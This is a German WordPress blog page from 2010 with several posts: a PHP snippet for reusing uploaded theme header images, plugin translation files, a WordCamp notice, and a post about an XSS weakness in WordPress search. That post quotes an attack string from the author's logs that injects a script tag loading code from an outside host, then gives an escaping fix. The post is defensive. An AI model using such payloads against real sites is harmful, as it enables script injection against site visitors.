Hochgeladene WordPress Kopfzeile speichern

23. Juli 2010 | Geschrieben von Konstantin Obenland in Snippets

Die Twenty Ten Header AuswahlDie neue Moeglichkeit der Headerverwaltung im WordPress Adminbereich bietet eine recht komfortable Loesung, dieses Seitenelement zu aendern, ohne im Code aktiv werden zu muessen. Das neue Default Theme Twenty Ten zum Beispiel, arbeitet schon damit. Es hat eine Reihe von vorinstallierten Headern aus denen man sich ein geeignetes auswahlen kann und bietet darueberhinaus noch die Moeglichkeit eigene Header hochzuladen und ins richtige Format zu setzen. Allerdings ist das hochgeladen Bild nur solange verwendbar wie noch kein neuer Header wieder hochgeladen ist. Wer also ueber Ostern einen Hasen im Header haben moechte, muss zu Pringsten wieder seinen alten Header hochladen. Um das zu Umgehen und die Freiheit zu haben aus allen hochgeladenen Headern auswaehlen zu koennen, habe ich das folgende Script geschrieben.

///////////////////////////////////////////////////////////////////////////////
///	Custom Header Image
///////////////////////////////////////////////////////////////////////////////

/**
 * Fuegt die Header Thumbnail-Groesse hinzu
 * Registriert die hochgeladenen Header-Bilder als Header
 *
 * @author	Konstantin Obenland
 */
function own_register_default_headers(){
	add_image_size('header-small', 230, 48);

	$posts = get_posts(array(
		'post_type'		=>	'attachment',
		'meta_key'		=>	'_header_image',
		'numberposts'	=>	-1
	));

	$pics = array();
	foreach($posts as $post){
		$file_name	=	get_post_meta($post->ID, '_wp_attachment_metadata');
		$file_name	=	(count($file_name) == 1) ? 	$file_name[0] : $file_name;
		$pics[$file_name['file']]	=	array(
			'url'			=>	'%s/images/headers/' . $file_name['file'],
			'thumbnail_url'	=>	'%s/images/headers/' . $file_name['sizes']['header-small']['file'],
			'description'	=>	$file_name['file']
		);
	}
	register_default_headers($pics);
}
add_filter('admin_init', 'own_register_default_headers');

/**
 * Setzt den Post Metakey, um als Header identifiziert werden zu koennen
 *
 * @author	Konstantin Obenland
 *
 * @param	string	$image
 * @param	int		$id
 *
 * @return	string
 */
function own_wp_create_file_in_uploads($image, $id){
	update_post_meta($id, '_header_image', true);
	return $image;
}

/**
 * Entfernt die gesetzten Unterordner
 *
 * @author	Konstantin Obenland
 *
 * @param	array	$args
 *
 * @return	array
 */
function own_upload_dir($args){
	$args['path']	=	$args['basedir'];
	$args['url']	=	$args['baseurl'];
	$args['subdir']	=	'';

	return $args;
}

/**
 * Korrigiert den Zielpfad fuer den Headerupload
 *
 * @author	Konstantin Obenland
 *
 * @param	string	$value
 *
 * @return	string
 */
function own_option_upload_path($value){
	return 'wp-content/themes/'.get_option('template').'/images/headers';
}

/**
 * Fuegt die Actions und Filter nur hinzu, wenn sie auch gebraucht werden
 */
if(is_admin() && 'custom-header' == $_GET['page']){
	add_filter('wp_create_file_in_uploads', 'own_wp_create_file_in_uploads', 10, 2);
	add_action('wp_create_file_in_uploads', 'own_wp_create_file_in_uploads', 10, 2);

	add_filter('upload_dir', 'own_upload_dir');

	add_filter('option_upload_path', 'own_option_upload_path');
}

Diesen Code einfach in die functions.php einfuegen und ggf. den Namespace-Praefix aendern. Schauen wir uns an wie das Script funktioniert:

Aendern der Uploadpfads

Das grundlegende Problem, dass umschifft werden muss ist, dass alle Header in einem Unterordner des Themes erwartet werden, alle Uploads aber woanders gespeichert werden. Also muss vor dem Hochladen der Uploadpfad geaendert werden (dies passiert in den Filtern ‘own_upload_dir’ und ‘own_option_upload_path’). Ich empfehle vor der Uebernahme des Codes zu pruefen, ob ein Ordner mit der Bezeichnung ‘headers’ im Themeordner ueberhaupt existiert und ihn gegebenfalls anlegen oder den Pfad aendern.

Kennzeichung der Bilder

Um die hochgeladenen Bilder spaeter als Custom Header identifizieren zu koennen, wird dem Bild ein Metadata Eintrag hinzugefuegt, nachdem spaeter gesucht werden kann. So werden nicht alle Bilder angezeigt, sondern nur die, die auch als Custom Header verwendet werden koennen. Dies geschieht kurz nach Hinzufuegen des Bildes, deshalb wird das generierte Thumbnail nach dem Hochladen noch nicht angezeigt.

Anzeigen der hochgeladenen Custom Headers

Ich hab den Aufruf der Funktion, die die Header aus der Datenbank holt und registriert, an die Stelle eingehaengt, in der die Custom Header Admin Seite aufgebaut wird. Sie schaut nach Posts mit dem beim Hochladen gespeicherten Meatakey und holt sich fuer jedes Bild die zur Registrierung benoetigten Informationen. Leider war ich noch nicht in der Lage das gerade hochgeladene Bild gleich in der Auswahl anzeigen lassen. Aus irgendeinem Grund sind da die Attachement-Metadaten noch nicht gesetzt worden. Das ist aber der einzige Schoenheitsfehler.

Ich wuensche viel Spass beim Ausprobieren und freue mich uber Verbesserungsvorschlaege!

All In One SEO Pack: Deutsche Sprachdatei

8. Mai 2010 | Geschrieben von Konstantin Obenland in Tools

All in One SEO Deutscher Adminbereich

Die nächste Runde Übersetzungen: Ich war es leid, dass All in One SEO Pack zwar eine deutsche Sprachdatei integriert hat, diese aber leider nicht funktioniert. Auch der Link zu den Übersetzungen in den Plugin Eintellungen hilft nicht weiter, da die Homepage, die die deutsche Sprachdatei zur Verfügung stellen sollte, das nicht tut.

Hier also die aktuellen deutschen Sprachversionen für AIOSEO:

All in One SEO Pack Deutsche Sprachdatei

Ich habe erstmal im WordPress-Stil eine Du-Version erstellt, lasst mich wissen wenn es Interesse an einer Sie-Version gibt.

WP-PageNavi 2.72: Deutsche Sprachdatei

7. Mai 2010 | Geschrieben von Konstantin Obenland in Tools

WP-PageNavi Adminbereich DeutschNach drei Updates innerhalb einer Woche ist es nun wieder ruhig geworden um WP-PageNavi. Leider ist auch in dieser Version wieder keine vollständige deutsche Sprachdatei vorhanden und so wurde ich wieder aktiv:

WP-PageNavi 2.72 Deutsche Sprachdatei

Viel Spass damit!

WordPress Schwachstelle für XSS-Angriff

5. Mai 2010 | Geschrieben von Konstantin Obenland in Snippets

Heute mittag machte mich ein Kollege auf einen Suchstring aufmerksam, der in unseren Logs festgehalten wurde, bei dem versucht wird ein JavaScript über die WordPress Suchfunktion auszuführen.
Wir haben den Suchbegriff dann auch nochmal getesttet und mussten erschrocken feststellen, dass WordPress die Benutzereingabe im Suchfeld nicht (oder zumindest nicht ausreichend) filtert!

Das Problem:

Dieses Stück Code wurde in das Suchfeld eingetragen und ausgeführt:

'"><script src=http://kkc-it.de/s></script>

Die Lösung:

Ist eigentlich garnicht so weit hergeholt, deshalb bin ich ehrlich gesagt auch ein bisschen sauer, dass WordPress hier den Userinput ungefiltert ausführt. Einfach diesen Code in die functions.php Datei einfügen:

add_filter('get_search_query', 'esc_attr');

Ich weiss nicht, wird von jedem Theme-Autor erwartet, dass er von dieser Sicherheitslücke weiss, oder mach ich mir vergebens Gedanken über dieses Thema?

Update:

Ich habe das Problem auch Frank Bueltge geschildert, der mir freundlicherweise heute morgen schon geantwortet hat und mich auf die Filterung in der Funktion the_search_query() aufmerksam gemacht hat:

/**
 * Display the contents of the search query variable.
 *
 * The search query string is passed through {@link esc_attr()}
 * to ensure that it is safe for placing in an html attribute.
 *
 * @uses attr
 * @since 2.1.0
 */
function the_search_query() {
 echo esc_attr( apply_filters( 'the_search_query', get_search_query() ) );
}

Dies behebt allerdings noch nicht die fehlende Filterung bei get_search_query():

/**
 * Retrieve the contents of the search WordPress query variable.
 *
 * @since 2.3.0
 *
 * @return string
 */
function get_search_query() {
 return apply_filters( 'get_search_query', get_query_var( 's' ) );
}

Um die Ausgabe von get_search_query() zu filtern, reicht es über einen Filter-Hook den Rückgabewert an esc_attr() zu übergeben, siehe die aktualisierte Lösung weiter oben.

Und noch ein Update:

Im E-Mailverkehr mit Frank Bueltge hat sich herausgestellt, dass die fehlende Filterung bei get_search_query() in Version 3.0 wohl überarbeitet wird und man mit einem Übergabeparameter entscheiden kann, ob gefiltert werden soll oder nicht.

Siehe hierzu auch die WordPress Cross Reference bei yoast.com

Trotzdem empfehle ich bis zum Erscheinen von WordPress 3.0 jedem dringend  sein Theme zu überprüfen, ob es die Funktion benutzt, und obigen Filter in die functions.php einzubauen.

WordCamp Berlin 2010

2. Mai 2010 | Geschrieben von Konstantin Obenland in WordPress

Am 03. Juli 2010 findet in Berlin das diesjährige WordCamp Deutschland statt. Leider werde ich selbst nicht in der Lage daran teilzunehmen, da ich mich zu diesem Zeitpunkt im Prüfungsstress befinden werde – wollte aber trotzdem etwas dazu beitragen. So findet ihr jetzt einen Banner in der Sidebar, mit der ausdrücklichen Aufforderung mal vorbeizuschauen und sich zu informieren.

Mir bleibt nur die Hoffnung, dass das WordCamp 2011 nach Hamburg, Jena und Berlin nun vielleicht auch mal im Süden Deutschlands stattfinden wird. Stuttgart wäre doch mal eine Alternative!

Seite 1 von 3123»